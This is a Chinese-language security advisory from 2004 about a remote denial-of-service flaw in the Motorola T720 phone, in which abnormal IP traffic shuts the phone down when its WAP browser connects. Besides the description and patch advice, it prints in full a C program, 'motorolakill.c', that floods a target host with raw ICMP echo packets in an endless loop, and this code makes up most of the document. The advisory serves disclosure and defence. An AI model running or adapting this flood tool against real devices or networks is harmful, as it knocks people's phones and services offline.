安全研究
安全漏洞
Motorola T720远程拒绝服务攻击漏洞
发布日期:2004-03-01
更新日期:2004-03-05
受影响系统:
Motorola T720描述:
BUGTRAQ ID: 9779
Motorola T720是一款包含多个功能的手机。
Motorola T720在处理TCP/IP堆栈实现上存在问题,远程攻击者可以利用这个漏洞使手机关机,造成拒绝服务攻击。
Motorola T720手机接到不正常IP通信,当用户通过WAP浏览器连接网络时会造成关机。
<*来源:Shaun Colley (shaunige@yahoo.co.uk)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=107817294407592&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
1)把手机连接到Internet。
2)使用类似SYN包或者ICMP_ECHO请求对设备进行攻击。
3)运行WAP浏览器。
# motorolakill.c
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}
int sock;
char packet[5000];
int on = 1;
struct sockaddr_in dest;
struct hostent *host;
struct iphdr *ip = (struct iphdr *) packet;
struct icmphdr *icmp = (struct icmp *) packet
+ sizeof(struct iphdr);
if((host = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve host!\n");
exit(-1);
}
if((sock = socket(AF_INET, SOCK_RAW,
IPPROTO_ICMP)) == -1) {
printf("Couldn't make socket!\n");
printf("You must be root to create a
raw socket.\n");
exit(-1);
}
if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
(char *)&on, sizeof(on))) < 0) {
perror("setsockopt");
exit(1);
}
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr
*)host->h_addr);
ip->ihl = 5;
ip->id = htons(1337);
ip->ttl = 255;
ip->tos = 0;
ip->protocol = IPPROTO_ICMP;
ip->version = 4;
ip->frag_off = 0;
ip->saddr = htons("1.3.3.7");
ip->daddr = inet_ntoa(dest.sin_addr);
ip->tot_len = sizeof(struct iphdr) +
sizeof(struct icmphdr);
ip->check = 0;
icmp->checksum = 0;
icmp->type = ICMP_ECHO;
icmp->code = 0;
printf("Ping flooding %s!\n", argv[1]);
/* begin flooding here. */
while(1) {
sendto(sock, packet, ip->tot_len, 0,
(struct sockaddr *)&dest, sizeof(struct sockaddr));
}
return(0);
}
# EOF motorolakill.c
建议:
厂商补丁:
Motorola
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://commerce.motorola.com/consumer/QWhtml/t720.html
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